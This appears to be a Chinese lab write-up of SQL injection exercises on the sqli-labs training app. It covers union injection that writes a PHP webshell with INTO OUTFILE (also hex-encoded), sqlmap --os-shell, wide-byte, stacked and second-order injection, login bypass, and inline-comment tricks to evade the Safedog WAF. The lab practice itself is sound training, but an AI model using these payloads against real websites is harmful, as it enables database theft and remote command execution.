1、使用手工注入的方式写入一句话木马
先决条件
是否root用户(查看配置文件)、绝对路径、配置文件(secure-file-priv=
具体实现
以sqli-labs的Less-1为例
首先尝试注入测试
?id=1222' union select 1,2,3 --+ |

尝试写入恶意代码发现报错
?id=1222' union select 1,<?php system($_GET['str']); ?>,3 into outfile 'D:/phpStudy/WWW/3.php' --+ |

# 方法一将<?php system($_GET["str"]); ?>做一个十六进制编码 |


查看代码

2、使用一下sqlmap工具的–os-shell选项
sqlmap -u "http://192.168.142.144/sqli-labs/Less-1/?id=1" --os-shell --fresh-queries |

这里成功获取到了shell,测试shell

3、使用sqlmap工具查看security数据库users表的所有字段
sqlmap -u "http://192.168.142.144/sqli-labs/Less-1/?id=1" --batch -T"users" --columns --fresh-queries |

4、演示宽字节注入,堆叠注入,二次注入,万能密码,解释相关原理
宽字节注入
利用数据库和应用程序对字符编码处理不一致(例如数据库使用GBK编码)的漏洞,让转义符失效,使原本被转义的敏感字符(如单引号')可以正常生效,进而闭合SQL语句完成注入。
首先进行SQL注入尝试,发现单引号'‘被反斜杠\转义
# sqli-labs/Less-32 |

被转义想想办法让反斜杠不进行转义,这时该使用宽字节注入。已知数字1的ascii码表中的十六进制为31,并且ascii码表中只记录了128个字符,每个字符占一个字节并且第一个比特为0。中文字符就占两个字节,那么在反斜杠之前添加一个ascii码大于128的字符写法让其和反斜杠\拼接成一个汉字这样单引号就能正常生效了。(单引号'的ascii十六进制为27,\的ascii十六进制为5c)
?id=-1%df%27union%20select%201,user(),3--+ |
注入出了当前的数据库用户

二次注入
攻击者将含有恶意SQL代码的输入先存入数据库中。之后,当应用程序再次从数据库取出该数据,并未经检查便用于执行新的SQL查询时,触发的注入漏洞。对数据库的数据无条件信任
# sqli-labs/Less-24 |

查看此时数据库 admin 用户和 admin’# 用户的情况

接下来开始修改密码,修改为123456

返回数据库查看密码修改情况,发现 admin 用户的密码被修改了,反而 admin’# 用户的密码没有被修改

堆叠注入
攻击者利用分号;在一次数据库查询请求后追加执行额外的SQL语句。堆叠注入可以执行任意SQL语句(如INSERT, UPDATE, DROP等)。
?id=1' ;selext 1,2,3--+ |

查看数据库情况

新加一个用户
?id=1' ;insert into users(id,username,password) value(114,'student','514')--+ |

再次查看数据库,发现新添加了一个用户

万能密码
通过在登录查询中构造一个永真条件,来绕过用户名和密码验证。
#输入username: |

#输入username: |

#输入username: |

代码解析
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; |
5、尝试手动绕过安全狗的限制,注入出来security数据库的几张表名称
以 sqli-labs/Less-1 为例
首先尝试使用,联合查询
?id=1' union select 1,2,3 --+ |

尝试找出触发字段
?id=1' --+ |

?id=1' union --+ |

?id=1111' select --+ |

?id=1' union select --+ |

# 最后测试大小写混写 |

如何绕过
内联注释
内联注释是 MySQL 数据库特有的一种注释语法,其格式为 /*! ... */。它与标准的多行注释 /* ... */ 类似。/*!xxxxxxx*/ !后面的语句会当作SQL语句直接执行。
还可以指定版本号,注释中的代码只有在 MySQL 服务器版本大于或等于指定版本时才会被执行。
# 尝试使用内联注释绕过WAF |

?id=-1' %20UNION%20/*!23456*/SELECT%201,2,3--+ |

尝试注入出其他信息
数据库信息
?id=1111' UNION /*!23456*/SELECT 1,database/*!23456*/(),3 --+ |

# 绕过失败 |

http://192.168.142.144/sqli-labs/Less-1/?id=1' /*!23456*/and/*!23456*/ascii(substr(database(),1,1))=115 --+ |
?id=1111’ union select 1,0x3c3f7068702073797374656d28245f4745545b27737472275d293b203f3e,3 into outfile ‘D:/phpStudy/WWW/2.php’–+
3c3f7068702073797374656d28245f4745545b27737472275d293b203f3e
–current-user
–dump
–level 3
–risk
-p
宽字节注入:利用数据库和应用程序对字符编码处理不一致的漏洞,让转义符失效,使原本被转义的敏感字符(如单引号')可以正常生效,进而闭合SQL语句完成注入。
二次注入:攻击者将含有恶意SQL代码的输入先存入数据库中。之后,当应用程序再次从数据库取出该数据,并未经检查便用于执行新的SQL查询时,触发的注入漏洞。对数据库的数据无条件信任
堆叠注入:攻击者利用分号;在一次数据库查询请求后追加执行额外的SQL语句。堆叠注入可以执行任意SQL语句(如INSERT, UPDATE, DROP等)。
万能密码:通过在登录查询中构造一个永真条件,来绕过用户名和密码验证。
